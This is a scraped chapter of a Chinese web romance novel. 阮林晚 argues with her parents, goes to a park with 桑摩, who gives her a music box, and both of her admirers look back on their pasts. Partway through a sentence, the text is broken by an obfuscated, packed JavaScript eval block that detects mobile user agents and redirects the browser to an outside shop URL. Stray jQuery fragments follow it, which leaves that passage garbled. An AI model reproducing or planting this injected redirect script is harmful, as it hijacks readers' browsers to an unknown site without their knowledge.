18. 猎场

作品:《信用奖励重roll

    当比赛结束后,杨雨榕点开手机,把阮林晚发的文档看了一遍。


    一直以来宠辱不惊的整张脸,第一次燃起了炙热的火光。


    那是一种目睹绝世宝藏的狂热,一种顶尖猎手看到猎物时难以自控的占有欲。


    他猛地想起阮林晚在教室哭泣的那个晚上。


    她哭完后,把课桌上的杂物一股脑儿塞进抽屉,拿出一张试卷,从第一题开始写。


    写着写着,她慢慢平静下来,眼神慢慢变得清澈,所有人都去看晚会了,独留她在教室写卷子,可是她却饱含看透一切的笃定。


    他在社团□□群回复:


    “写的很好,创意很好。”


    这份策划案修改一下,甚至可以拿去打比赛,可惜,他从来没有碰到过这样有才气的同伴。


    而他也不奢望,如果表达了对阮林晚个人的好感,是否可以得到一个正向的答复。


    杨雨榕是不敢张扬的,他知道,她不是别的女孩子。人们总说追这种清冷正直的女孩,完全是势在必得。


    可是杨雨榕还是要等。


    他挂断无关紧要的电话,靠在椅背上,舔了舔有些发干的嘴唇,声音低沉而有力。


    “阮林晚…明明,我们高中就见过面了。”


    “可是,现在我连见你,都要找理由。”


    阮林晚坐在桌子前,翻看社团成员们的夸赞,她没有想到,这份策划会得到这么多人的共鸣。


    “我很惊讶,你居然对MOBA游戏的理解这么深。”


    “我有一个朋友,很喜欢玩moba游戏。”阮林晚回复。


    阮林晚说的朋友,其实是在读警校的沈崇颜。


    而桑摩随便找了一家酒馆坐坐。他举起酒杯,自己和自己碰杯,玻璃发出清脆声音。


    醉意上来,桑摩半趴在桌子上,断断续续检查自己购买的礼物。


    那是一个八音盒。


    他最终还是给阮林晚发了消息:


    “阮林晚,明天能见一面吗?”


    翌日。


    阮林晚回到家,父母跟她分享她开学后w市这边发生的趣事。阮林晚偶尔会附和几句,不过还是以聆听为主。


    父亲买了好喝的米酒,母亲盛了一碗给阮林晚。阮林晚大口灌了一碗。


    父亲笑盈盈地问:“以后毕业了,准备回w市发展,还是g市?”


    “g市如果能提供更好的资源,我会考虑…”


    刚刚语气犹如灌了蜜糖的父母,脸色微变。


    “你说想要去g市读高中,可是你初三才说。你喜欢你伯母,你也不早说。”妈妈很难受,“平常我们在w市,连一个解闷的法子都没有。”


    “我是宠物吗?”阮林晚调侃,“我不在,你们再生一个?”


    “养女儿,不求你大富大贵,就是想要看你慢慢长大,膝下承欢啊!”父亲生气了。


    看来父母的意思,显而易见了。


    阮林晚双眸望着父母满脸愁绪,紧抿嘴唇。


    其实阮林晚也感觉很累的。


    她曾经也扪心自问,为什么不乖乖待在家乡。


    可是她是一个喜欢慢慢向前的人,哪怕在原地做出改变,需要经历太多险阻。


    如果中途停下了脚步,她怎么能考上观湖大学。


    “还有,你中途转学的事情,到底发生什么,忽然急匆匆要转学?当初荣尚高中是你要读的,转学又是什么意思啊!”


    这质问直接让阮林晚心揪紧,她的心脏仿佛被什么狠狠抵住了,长久以来的防御效应被瞬间溃不成军。


    “听说你和同学不对付,还故意开寝室的电扇,让怕冷的同学着凉?”母亲试探。


    “这话,妈妈你听谁说的?”阮林晚问。


    “你转学,我们不能打听一下吗?”妈妈叹了口气。


    阮林晚眉眼弯弯:“说出这番话的人,肯定不是伯母。”


    她有一种想要逃离的冲动,阮林晚拿起搁在一旁的手机,随便点开一个短视频软件开始刷小视频。


    父母还是认真模样:“难得你年前回来,可以好好谈一谈,你又玩起手机来了。”


    阮林晚敛眉,她的父母是千万父母中最普通的那般,怕她出事,怕她惹事。


    就在这时,她看到桑摩约她见面的消息。她仿佛找到了情绪的出口,直接回复答应了他。


    快十二点了,家里的藕汤也快煨好了。可是阮林晚站起来,附身道:


    “我出去一趟。”她这口气,看来是不容父母阻挠。


    母亲想要拉她,可是被她躲开。


    她健步走出家,跑下楼,找桑摩的念头才被她掐灭。


    阮林晚被自己吓得不轻。


    真实不清醒了,怎么可以因为生气就这么不管不顾去找桑摩!


    她把手机按在胸口。


    已经答应桑摩,消息无法撤回。


    不过是白天,应该没什么问题吧?


    桑摩有什么好怕的!


    等阮林晚来到桑摩说的沙湖公园,桑摩正站在公园门口,冻得浑身打抖。


    “听说今晚要下雨,你还跑出来干什么?”阮林晚快步靠近,放软声音。


    阮林晚不知道,她柔软的声音,对桑摩来说,比那些酒吧里的女人魅惑多了。


    如果是酒吧里的女子,是可以随便贴的。是可以随便吻的,可桑摩必须忍。


    他虚扶了一下阮林晚,以此可以揽住她的肩膀。


    “你怎么一脸凝重?”桑摩问。


    “你还问,”阮林晚顺水推舟,“当然是因为烦你!”


    桑摩倒觉得是意料之中。


    “烦我什么?你很忙?”


    “烦你本身。”阮林晚十分漠然。


    “聊聊,烦我哪里?”


    “渣浪贱的男人我见多了。”阮林晚露出迷之微笑,“而且你开摩托车载我,你那些狐朋狗友的窃窃私语,我还没忘呢!”


    “你烦我,可是我好想见你。你看你,今天,多可爱,穿个白色羽绒服,像个小兔子。”


    “出门前忘记热身了,应该揍一下沙包的。”阮林晚瞪了桑摩一眼。


    桑摩立马闭嘴了。


    他们二人往湖边走,沙湖公园有各国设计师设计的假山和庭院。桑摩快速扫了一圈,意兴阑珊,还是觉得看阮林晚最好玩。


    “在家里干什么呢?”桑摩问。


    “看电视剧,吃东西。”阮林晚捋着她妈妈给她扎的麻花辫。


    麻花辫细细的,桑摩忽然想起韩剧里一个名叫孙艺珍的女演员。


    “韩剧?还是什么?平时看韩剧吗?有喜欢的欧巴吗?”


    桑摩真想摸摸她的麻花辫。


    阮林晚若有所思,忽然眼前一亮。


    “我喜欢看恐怖的,悬疑剧。《杀人回忆》看过没有?”


    “奉俊昊,我知道。”学传媒怎么可能不知道奉俊昊?桑摩眼前一亮,以为终于找到话题,“要不我们去看电影?”


    “现在又回公园入口吗?你有毛病吧!”阮林晚拒绝。


    桑摩很失望,他没有从阮林晚看到一秒哪怕的悸动感。


    他转瞬一想,也好,阮林晚这样生人勿进,很好很好。


    如果可以,真想死死扒拉住,别让阮林晚跑了。


    憋了半天,桑摩还是忍不住说了出来:


    “闭眼。”


    阮林晚尴尬:“你干什么。”


    白皙修长的手,已经遮住阮林晚的眼睛。


    一阵好听的古典乐曲调子,从耳边传来。


    阮林晚再睁开眼睛,看到一个八音盒。


    八音盒中间,站着一个钓鱼的女孩。


    她躺在躺椅上钓鱼,鱼儿在湖面晃荡。


    可能是因为在裤兜里放久了,八音盒外壳有些温热。


    原来不是惺惺作态的搞怪,是送她礼物。


    阮林晚道:“如果我把这八音盒扔到湖里,你会怎样。”


    桑摩嗤笑一声:“送给你,任由你处置喽!我绝不生气。”


    “你真这么想。”阮林晚不相信。


    桑摩作势就要把八音盒往湖里扔,阮林晚赶紧拦住。


    “有钱人都有毛病!”阮林晚说,“能帮你省钱的办法,就是把你的手割下来,泡福尔马林!”


    桑摩听到这席话,哈哈大笑起来。


    “不愧是学法医的!”桑摩眉宇间凝结着欣赏,“战斗力太强了。”


    阮林晚撇嘴:“是啊,学法医的很难搞,我很厉害,你以后再找我麻烦,小心我弄你!”


    桑摩倒是胜券在握的口气:“谁怕谁?”


    可是他微微发红的耳朵,还是出卖了他。


    阮林晚不知道是不是因为走得快,她呼吸变得局促----她有些害羞,后悔说什么要割他手的话。


    桑摩这种男生,感情上爱捉弄人,自己可不能陷进去了!


    这个想法占了上风,阮林晚头顶刚到桑摩下唇,她不再敢看桑摩的脸,索性低头走路。


    桑摩心有点痒痒,不是想要和阮林晚耳鬓厮磨,只是仅仅想要抱一抱阮林晚。


    强撑着保持距离,真实太难受了。不过如果他要是有什么小动作,阮林晚没准吓得跑掉。


    走到中途,忽然看到有卖糖葫芦的餐车。


    阮林晚舔舔嘴唇:“我去买一根。”


    “给我也来一根!”桑摩说。


    阮林晚勾起嘴角:“没你的份儿!”


    阮林晚付了一份糖葫芦的钱。


    她拿着糖葫芦回来,递给桑摩。


    桑摩额头冒汗:“我们吃同一根吗?”


    阮林晚不等桑摩反应,就一脚踩在桑摩脚上:“你想什么!这一根都是你的!”


    桑摩认罪:“错了!我错了!”


    他接过糖葫芦,本来靠他很近的阮林晚,因为自己的话,又不偏不倚挪开了几步。


    桑摩想起了自己的奶奶。


    奶奶是一个说话很小声的女人,她以前给小时候的桑摩买过糖人,过年还会带他去看舞狮。


    狮子嘴里吐出了金币,桑摩闹着要,奶奶哪怕站在人群外围,也会踉跄着去给孙子捡金币。


    那并不是金币,只是金币糖纸包成的巧克力。桑摩嫌巧克力太苦,一口吐出来,奶奶把剩下的巧克力吃了。


    桑摩很后悔,没有在小时候,对奶奶好一点。


    他的唇瓣因为这回忆的浮现,微微发颤。


    阮林晚眨眨眼睛:“好了!原谅你!”


    看着阮林晚,桑摩努力痊愈心中的烦躁感。


    就在这时,阮林晚长吁了一口气。


    “怎么了?”桑摩问。


    阮林晚道:“我忽然想起一件事。”


    桑摩疑惑地嚼着糖葫芦:“什么事?”


    “我和淼淼是同一所高中的。荣尚高中的,”阮林晚说,“我记得荣尚高中还是很看重升学率的,为什么她还有时间去16克酒吧?”


    “荣尚高中,观湖大学附属中学前一任校长创办的。”桑摩似笑非笑,“如果你分到了好班,当然可以潜心学习,可要是去了普通班,勒索早恋和不学无术的人多了去了,就没那么幸运了。淼淼中考并不是很理想。”


    提起淼淼,桑摩那轻蔑的丝丝笑意让阮林晚不舒服。


    她小心翼翼问:“你高中在哪里读的?”


    “观湖大学附属中学国际部。”桑摩说。


    是啊,这样的有钱人,一副少爷做派,家境好,父母会把他的前途考虑妥帖。


    “不过高中学习个叽叽啊!”桑摩咳嗽了一声,十分关切,“还是没有你厉害,你怎么考上观湖大学王牌专业的?”


    阮林晚低声:“你们天赋异禀,不学习,高考分数上个一本,也是绰绰有余。”


    桑摩垂下眼:“什么天赋不天赋,千军万马过独木桥,各凭本事罢了。”


    阮林晚道:“16克酒吧,你大学前也常去,是不是?”


    桑摩哼了一声:“一开始大家不欢迎我,嫌我未成年,不过满18岁就好多了。男人要趁早学会喝酒,以后酒桌上别人要你一口闷,你还扭扭捏捏,那才叫让人看笑话!”


    “你前女友,明艳型,看着好像比你大一点。”


    “比我大几个月。”桑摩被追问起前任,有些不好意思,“不过是我年少无知游荡认识的,过去那么多天了,我早就不喜欢了。”


    “既然是光明正大谈的,不管是不是早恋,肯定有喜欢吧?”阮林晚说。


    “我可不是会对前任恋恋不忘的男人!”桑摩甩手。


    “是啊,你们这个圈层,换女朋友快,才被羡慕吧!”阮林晚思忖。


    桑摩汗颜。


    “好了,收了我的礼物,还逛了公园,是不是心满意足?该不该陪我看电影!”桑摩道。


    阮林晚恍然大悟:“NO!谁要你的礼物,是谁陪谁逛公园!我不去!”


    桑摩拿出电影票:“那我把电影票撕了。”


    原来是电影《桃花眼》。


    “这电影都快要下映了。”阮林晚翻白眼。


    可是这是唯一一部爱情片了。


    桑摩想知道,阮林晚是否会避讳和男生看这部电影的感情线。


    不行!


    阮林晚发自内心想拒绝,自己还没有熟到可以和桑摩看电影,自己本该和桑摩是两条平行线!


    如果擅自突破底线,就脱离了她的原则。


    “看电影中途,你要是不舒服,随时可以走。”


    桑摩已经知道如何主导阮林晚的情绪。


    他不会肆无忌惮地伤害她,可是他需要让阮林晚主动顺从他。


    阮林晚点点头。


    桑摩一把就拉住阮林晚,往沙湖公园附近


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187239|196921||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的商场走。


    那天夜晚,杨雨榕正翻着社交软件打发时间,忽然看到桑摩发的一条朋友圈。


    是两张照片,他跟一个女生,手里拿着电影票,站在电影院门口合影。


    杨雨榕捏手机的手微微发力。


    他蹙眉,情绪复杂。


    桑摩不是那个找他要联系方式的古怪男生吗?为什么他旁边,站着阮林晚?


    阮林晚应该已经回家了吧。


    照片看起来没什么异样,男女之间,气氛正好。


    杨雨榕微不可闻地叹了口气。


    就在这个时候,易老先生站在他的身后。


    “外公。”杨雨榕松开攥在手心里的手机。


    外公目光微烁,最终只是道:“这么多年,心疼你妈妈,所以把你叫回来。我知道你不喜欢待在易家的别墅里,可是一个礼拜前,我在国外,一想到要是放任你去找你爸,我就飞回来了。”


    “外公,可是我爸是警察,过年他要加班的,怎么可能除夕赶回来过年。”杨雨榕垂下眼。


    父亲的面容已经被淡忘---父亲是警察,来去都是警局决定。


    “你母亲身边也有好男人环绕,不知道为什么,一次邂逅,你母亲非要嫁给你父亲。”外公陷入往事,“她说她抑制不住地爱你父亲,后来,你母亲又要闹离婚,也不跟我说!”


    “这么多年,我有意拂你父亲的面子,都是因为你父亲让我女儿受苦!”


    杨雨榕也很迷惘:“我父亲根本不爱我母亲,我也不知道为什么,我父亲为什么会和我母亲结婚。”


    “没什么替你父亲好解释的。”外公冷笑,“这些穷人的品行,我再清楚不过了。”


    杨雨榕唇边浮现淡淡笑意。


    “听说你在学校很拼,又是学生会,又是比赛。”外公道,“你是我易家的血脉,在‘争’这件事上,永远不会腻味。”


    杨雨榕露出自嘲的笑容。


    “最近还在练毛笔字吗?”外公问。


    杨雨榕那小鹿一般的眸子无辜地看着外公,很是顺从:“已经许久不练,这个寒假我重新练。”


    “看我练吧,你在旁边帮我研墨。”外公道。


    杨雨榕母亲端茶准备进儿子房间,看到这一幕,有些动容。


    祖孙,易姥爷和杨雨榕可是祖孙---虽然是外孙,可是心是肉做的,易姥爷今天上楼梯,只去自己儿子房间,怎么可能会看得上其他孙辈?


    而桑摩很开心地打道回府,回了g市,这次见了阮林晚,送了礼物阮林晚肯收,还和阮林晚看了电影《桃花眼》,桑摩很得意。


    他来到16克酒吧,过年M层不开放,1层和-1层不打烊。


    池州叫了一堆兄弟,淼淼也在。


    淼淼问起桑摩去w市的事情,桑摩如实陈述。


    “哟,厉害了,以后阮林晚算不算我嫂子?还搂肩膀了?阮林晚脸红没有。”淼淼笑着点头。


    桑摩道:“阮林晚强的很!她才不是什么小女生。”


    淼淼忍着恶心,继续打趣:“哎呀,桑摩,一看就是老婆奴!”


    “什么老婆奴?”池州拿着酒过来,和淼淼和好,他十分愉悦。


    “聊言情小说,宠妻狂魔你知道不?”淼淼今天倒是大胆不少。


    “这不就是说我吗?”池州放下酒杯,坐在桑摩身边。


    桑摩看到池州,不再高调聊阮林晚的事情。


    淼淼还想听,赶紧把池州赶走。


    桑摩动动胳膊—电影票还在衣兜里。


    “《桃花眼》,我还和她拿着电影票合影了。”桑摩说,“不过她没我好友,看不到朋友圈。我设置了仅限几人可见。”


    淼淼拿出手机翻朋友圈,照片里两人虽然不亲昵,但是表情都很自然,不过桑摩这次去w市,还挽了阮林晚的肩膀,已经很不错了---可惜的是阮林晚那未见眼底的笑容,可见并不把桑摩当成暧昧对象。


    这么有一句没一句的聊着,其中一个男生,忽然提起一个陌生的名字。


    “你们听说了吗?罗焰曼居然坚持复读了,而且她要报观湖大学!”


    忽然冒出来的名字,谁都没有当回事---这个圈子里,不乏有钱人非要硬吃苦的。如果考不上大学,可以出国水学历,但是有些少爷小姐非要死磕名牌大学,大家只会摇头叹息。


    桑摩和别的男生聊起一些最近认识的妹子,淼淼却霎时安静。


    罗焰曼!


    那不是----以前高中欺负阮林晚的高年级女生吗?


    她想起自己打听时,那些高中学姐不敢全盘托出的模样。


    罗焰曼在她们嘴里,似乎并不是一个有亲和力好说话的女生。


    淼淼不由自主望向桑摩,桑摩正摇晃着玻璃杯,没有女朋友管,冬天他自由喝冰的。


    桑摩喜欢阮林晚,且可以为她赴汤蹈火的模样,包不包括收拾曾经欺负阮林晚的人?


    如果也义不容辞,那么自己就没必要提醒阮林晚。


    淼淼忽然对阮林晚产生同病相怜之感---这个罗焰曼,最好不是因为不服气,然后去考观湖大学的。阮林晚在高中从不引起谁的注意,是她同学嘴里一心只读圣贤书的书呆子。


    可是打听的时候,她们闪烁其词的模样,以及只言片语里,语焉不详有关“厕所”、“开玩笑”、“有点摩擦”、“吃了点苦头”的描述,都让淼淼觉得那些过节,不过是借着戏耍的名义,实施校园暴力。


    她本以为,和阮林晚提起被霸凌的经历,阮林晚会表情狼狈,可是阮林晚一副没心没肺的样子。


    到底是不在意,还是悄悄忌惮着、又悄悄伪装着?


    池州过来抱紧淼淼,原本表情淡漠的淼淼,即刻笑靥如花,亲亲池州的脖颈。


    众人投来羡慕嫉妒的眼神,池州喜欢淼淼这样娇笑,他道:“胡思乱想什么?也不和我们一起喝酒。”


    淼淼少女的嗓音突出‘罗焰曼’三个字:“池少,这个罗焰曼是谁,怎么也考观湖大学啊?”


    “家里有钱,事半功倍。”池州提起罗焰曼,收起一贯的高傲,“她家和我家不相上下,她很漂亮,就是成绩不好。听说考观湖大学,也是忽然做的决定,不过复读倒是收敛了不少,以前她有点混子,现在大门不出二门不迈,家里老人都欢喜。”


    淼淼靠在池州怀里:“观湖大学不好考吧?”


    “你想考观湖大学?喜欢什么专业?”池州问,“你不是想去上京吗?”


    淼淼第一秒是抗拒---池州居然发现她在考虑上京?!


    不过她只是抚摸着池州的手,表情仍然淡淡:


    “去了上京,你要和我分手,可是我想和你继续交往啊池少。我读观湖大学,对你来说是不是轻松很多?”


    池州和淼淼十指相扣,犹豫了一会儿,道:“你是最乖的,以后可以再坏一些。”